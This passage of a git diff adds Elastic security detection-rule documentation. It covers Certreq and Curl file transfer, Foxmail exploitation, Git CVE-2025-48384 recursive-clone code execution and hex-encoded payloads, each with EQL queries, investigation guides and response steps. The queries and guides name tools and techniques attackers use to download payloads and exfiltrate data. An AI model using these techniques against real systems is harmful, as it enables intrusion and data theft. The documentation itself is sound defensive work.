<>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Certreq/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Command and Control +* Tactic: Exfiltration +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential File Transfer via Certreq* + + +Certreq is a command-line utility in Windows operating systems that allows users to request and manage certificates from certificate authorities. It is primarily used for generating certificate signing requests (CSRs) and installing certificates. However, adversaries may abuse Certreq's functionality to download files or upload data to a remote URL by making an HTTP POST request. + +This rule identifies the potential abuse of Certreq to download files or upload data to a remote URL. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the details of the dropped file, and whether it was executed. +- Check the reputation of the domain or IP address used to host the downloaded file or if the user downloaded the file from an internal system. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process's `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unusual but can be done by administrators. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "CertReq.exe" or ?process.pe.original_file_name == "CertReq.exe") and process.args : "-Post" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-file-transfer-via-curl-for-windows.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-file-transfer-via-curl-for-windows.asciidoc new file mode 100644 index 0000000000..0a0c48a521 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-file-transfer-via-curl-for-windows.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-34-potential-file-transfer-via-curl-for-windows]] +=== Potential File Transfer via Curl for Windows + +Identifies Curl for Windows making an HTTP request. Adversaries could abuse Curl to download files or upload data to a remote URL. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1105/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Download Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential File Transfer via Curl for Windows* + + +This rule identifies the use of Curl for Windows to download files from a remote URL or post data to a remote site. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the details of the dropped file, and whether it was executed. +- Check the reputation of the domain or IP address used to host the downloaded file or if the user downloaded the file from an internal system. +- Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unusual but can be done by administrators. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.executable : ( + "?:\\Windows\\System32\\curl.exe", + "?:\\Windows\\SysWOW64\\curl.exe" + ) and + process.command_line : "*http*" and + process.parent.name : ( + "cmd.exe", "powershell.exe", + "rundll32.exe", "explorer.exe", + "conhost.exe", "forfiles.exe", + "wscript.exe", "cscript.exe", + "mshta.exe", "hh.exe", "mmc.exe" + ) and + not ( + ?user.id == "S-1-5-18" and + /* Don't apply the user.id exclusion to Sysmon for compatibility */ + not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon") + ) and + /* Exclude System Integrity Processes for Sysmon */ + not ?winlog.event_data.IntegrityLevel == "System" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-foxmail-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-foxmail-exploitation.asciidoc new file mode 100644 index 0000000000..1bac9a2d6d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-foxmail-exploitation.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-potential-foxmail-exploitation]] +=== Potential Foxmail Exploitation + +Identifies the Foxmail client spawning a child process with arguments pointing to user-profile AppData paths or remote shares. This may indicate exploitation of a Foxmail vulnerability for initial access and execution via a malicious email. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://mp.weixin.qq.com/s/F8hNyESBdKhwXkQPgtGpew + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Foxmail Exploitation* + + + +*Possible investigation steps* + + +- What exact Foxmail child execution did the alert capture? + - Why: Foxmail exploit attempts execute code in the user's client context; the child process and path argument distinguish payload execution from routine file handling. + - Focus: `process.parent.name`, `process.parent.executable`, child `process.executable`, `process.command_line`, and `process.args`. + - Implication: escalate when Foxmail.exe launches a script host, LOLBin, interpreter, archive utility, installer, or payload from a user-writable or remote-share path; lower suspicion only when the child is a recognized signed Foxmail component with the expected path, argument pattern, and no contradictory process evidence. + +- Does the Foxmail parent match the installed mail client and user launch context? + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.parent.code_signature.subject_name`, and `process.parent.code_signature.trusted`. + - Implication: escalate when Foxmail runs from a user-writable or portable path, has an unexpected signer or trust state, or appears under an abnormal launch chain; lower suspicion when parent identity and user context match a recognized installed Foxmail workflow. Parent identity never clears the child behavior by itself. + +- What does the child command line say it was trying to execute or open? + - Why: the user-writable or remote path string in `process.args` is the rule-specific payload anchor; interpret it before relying on broader pivots. + - Focus: `process.executable`, `process.command_line`, `process.args`, and `process.code_signature.subject_name`. !{investigate{"description":"","label":"Events for the Foxmail child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the child runs executable or scriptable content from a user-writable path, mounted archive, or remote share, especially through a LOLBin or interpreter; lower suspicion when signed child, arguments, and path pattern match a locally confirmed Foxmail file-handling action. + +- Did the Foxmail child launch descendants that change impact or confirm execution? + - Focus: process starts on the same `host.id` where `process.parent.entity_id` matches the child `process.entity_id`, or `process.parent.pid` matches `process.pid` in the alert window; review descendant `process.executable` and `process.command_line`. !{investigate{"description":"","label":"Child processes launched by the Foxmail child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: prefer entity match; use PID only inside the alert window. + - Implication: escalate when descendants include payload staging, scripting, installers, persistence tooling, or commands unrelated to Foxmail; lower suspicion when there are no descendants and the child command from the prior step already matches a recognized helper workflow. + +- What delivery clue is embedded in the user-writable or remote path argument? + - Focus: file name, extension, UNC host/share, and directory pattern visible in `process.args`, scoped to `host.name` and `user.id`. + - Implication: escalate or broaden when the path suggests executable content, a deceptive attachment-like name, or a remote share that can execute content without local provenance; lower suspicion only as corroboration when the path shape fits a recognized Foxmail file-handling workflow supported by child identity and descendant evidence. + +- Does related activity history show the same child/path pattern beyond this process? + - Focus: related records for the same `user.id`; compare child `process.executable`, parent-child pair, and distinctive `process.args` fragments. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: use same-asset related records to separate one user's repeat workflow from multiple users on one host. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when the same child binary, remote share, or path fragment appears on unrelated users or hosts; keep response local when related records are absent and local process evidence already proves one recognized workflow. + +- Based on the Foxmail parent, child command, argument path, descendants, and related activity, what disposition is supported? + - Escalate for suspicious child intent, unexplained descendants, or the same pattern on multiple users or hosts; close only when process evidence and supported recovery prove one exact recognized Foxmail workflow on this host; preserve and escalate mixed, missing, or contradictory evidence, using outside confirmation only to corroborate details telemetry cannot prove. + + +*False positive analysis* + + +- Signed Foxmail child processes used for update or file handling and authorized internal tests are plausible benign candidates, but the label is not clearance. Confirm parent path/signer, child path/signer, `process.args`, `host.id`, and `user.id` all align with one workflow or exact test file/share, and verify no suspicious descendants; use prior alerts only to tune a durable exception, not to close the single alert by recurrence alone. +- If test records are unavailable, use the process timeline, path shape, and user/host scope as fallback corroboration; do not close on owner confirmation alone when process evidence remains unexplained. +- Before creating an exception, require stable anchors such as `process.parent.executable`, `process.executable`, `process.code_signature.subject_name`, the user-writable or remote path pattern in `process.args`, `host.id`, and `user.id`. Avoid exceptions on "Foxmail.exe" alone, temp-path strings alone, or `process.name` alone because exploit chains and benign components can share those surface features. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the recognized Foxmail component, file-handling, or test workflow, including the expected parent-child pair, signer, path pattern, `host.id`, and `user.id`. Create a narrow exception only when those anchors are stable enough to avoid suppressing lookalike exploit chains. +- If suspicious but unconfirmed, preserve the alert record, parent and child command lines, `process.entity_id`, `process.pid`, `process.args`, referenced user-writable or remote paths, descendant process identifiers, and case records that identify the delivery path before containment. Apply reversible containment such as temporary quarantine of the referenced artifact, temporary outbound restrictions for the affected host when remote retrieval is indicated, or heightened monitoring on the affected `host.id` and `user.id`; escalate to host isolation only if follow-on execution, staging, or wider compromise appears and the host role can tolerate it. +- If confirmed malicious, isolate the host and terminate the Foxmail child or descendant payloads only after recording the relevant process identifiers, command lines, path strings, and delivery-path evidence; if direct endpoint response is unavailable, escalate with those preserved artifacts to the team that can act. Quarantine the referenced attachment or payload, block confirmed malicious indicators, and review other recipients, hosts, and users for the same attachment, remote path, or child-process pattern before deleting evidence or resetting accounts. +- Eradicate only the payloads, persistence mechanisms, or configuration changes identified in the same chain after scoping affected recipients and hosts. Remediate the message source, attachment workflow, or remote share that led to the Foxmail launch. +- Post-incident hardening: update Foxmail to a current vendor-fixed release, retain endpoint process telemetry and any mail or artifact telemetry used in this case, and document adjacent exploit-chain findings for the detection engineering team. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "Foxmail.exe" and process.args : ("?:\\Users\\*\\AppData\\*", "\\\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-git-cve-2025-48384-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-git-cve-2025-48384-exploitation.asciidoc new file mode 100644 index 0000000000..dfcf9df874 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-git-cve-2025-48384-exploitation.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-34-potential-git-cve-2025-48384-exploitation]] +=== Potential Git CVE-2025-48384 Exploitation + +This rule detects potential exploitation of CVE-2025-48384 via Git. This vulnerability allows attackers to execute arbitrary code by leveraging Git's recursive clone feature to fetch and execute malicious scripts from a remote repository. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-crowdstrike.fdr* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.kucoin.com/zh-hant/blog/en-breaking-lazarus-group-apt38-targets-crypto-sector-with-sophisticated-phishing-campaign +* https://securitylabs.datadoghq.com/articles/git-arbitrary-file-write/ +* https://github.com/acheong08/CVE-2025-48384 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS +* Vuln: CVE-2025-48384 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Git CVE-2025-48384 Exploitation* + + +This rule flags a Git recursive clone from an HTTP(S) remote followed moments later by a shell spawned by Git—clear evidence of CVE-2025-48384 abuse enabling arbitrary code execution on Linux or macOS. An attacker ships a repository whose submodules or hooks pull and run a bash script during --recursive clone, causing Git to invoke a shell and execute their payload on a developer endpoint. + + +*Possible investigation steps* + + +- Extract the remote URL and parameters from the git invocation and review .gitmodules to enumerate submodules, then assess the domain/account reputation and recent commits for signs of a malicious repo or takeover. +- Inspect the cloned repository for hook execution vectors by reviewing .git/hooks and any core.hooksPath overrides for newly created or modified executables (post-checkout/post-merge/post-update), noting contents and timestamps. +- Analyze the spawned shell’s lineage, command line, working directory, and any script or binary launched to identify the payload, compute hashes, and correlate with concurrent outbound connections or file writes. +- Pivot on the repo URL, hooks filenames, and payload hash across hosts to identify other impacted endpoints, and verify whether this activity aligns with expected developer workflows or CI jobs to rule out benign use. +- Examine the endpoint for follow-on changes suggesting execution or persistence (new cron/LaunchAgents entries, modified shell profiles, new SSH keys or credentials files, unusual PATH or gitconfig changes), and collect artifacts for forensic review. + + +*False positive analysis* + + +- Legitimate organization-wide or user-level Git hooks installed via core.hooksPath or templates run a post-checkout bootstrap shell script after a recursive HTTP or HTTPS clone, causing git to spawn a shell as a child process. +- During a recursive HTTP or HTTPS clone, Git invokes a credential or askpass helper implemented as a shell script for authentication, resulting in a benign sh/bash child of the git process. + + +*Response and remediation* + + +- Immediately isolate any host where git clone --recursive from an HTTP(S) URL spawned a shell, terminate the git process tree (bash/sh and curl/wget/python children) launched from the cloned path, and block the repository domain on your proxy and Git hosting. +- Quarantine the cloned directory and its .git folder, preserve .gitmodules, .git/hooks, and any core.hooksPath target for forensics, then remove executable hooks (post-checkout/post-merge/post-update) and delete the repository and downloaded payload scripts. +- Rotate credentials available to the user (replace ~/.ssh keys and clear ~/.git-credentials/osxkeychain/libsecret), and eradicate persistence by removing new cron entries, LaunchAgents/LaunchDaemons, modified shell profiles (~/.bashrc, ~/.zshrc), and unexpected PATH or gitconfig changes. +- Scope and recover by hunting for the same remote URL, hook names, and payload hashes across endpoints and CI runners, reimaging or restoring clean baselines before returning systems to service. +- Escalate to incident command if multiple hosts show a git->shell chain from the same repository, if the payload invoked sudo or wrote to /etc/cron* or /Library/LaunchDaemons, or if outbound transfers occur to the repo’s domain or newly contacted IPs. +- Upgrade Git to a patched release for CVE-2025-48384, enforce core.hooksPath to a read-only allowlisted directory, disable recursive submodule cloning by default (submodule.recurse=false), restrict protocols (protocol.file.allow=never; allow only https/ssh), and block clones from untrusted domains in developer and CI environments. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + [process where host.os.type in ("linux", "macos") and event.type == "start" and event.action in ("exec", "executed", "process_started", "start", "ProcessRollup2") and + process.name == "git" and process.args == "clone" and process.args == "--recursive" and process.args like~ "http*"] by process.entity_id + [process where host.os.type in ("linux", "macos") and event.type == "start" and event.action in ("exec", "executed", "process_started", "start", "ProcessRollup2") and + process.name in ( + "dash", "sh", "static-sh", "bash", "bash-static", "zsh", "ash", "csh", "ksh", "tcsh", "busybox", "fish", "ksh93", "rksh", + "rksh93", "lksh", "mksh", "mksh-static", "csharp", "posh", "rc", "sash", "yash", "zsh5", "zsh5-static" + )] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-hex-payload-execution-via-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-hex-payload-execution-via-command-line.asciidoc new file mode 100644 index 0000000000..8c81593b80 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-hex-payload-execution-via-command-line.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-34-potential-hex-payload-execution-via-command-line]] +=== Potential Hex Payload Execution via Command-Line + +This rule detects when a process executes a command line containing hexadecimal characters. Malware authors may use hexadecimal encoding to obfuscate their payload and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## 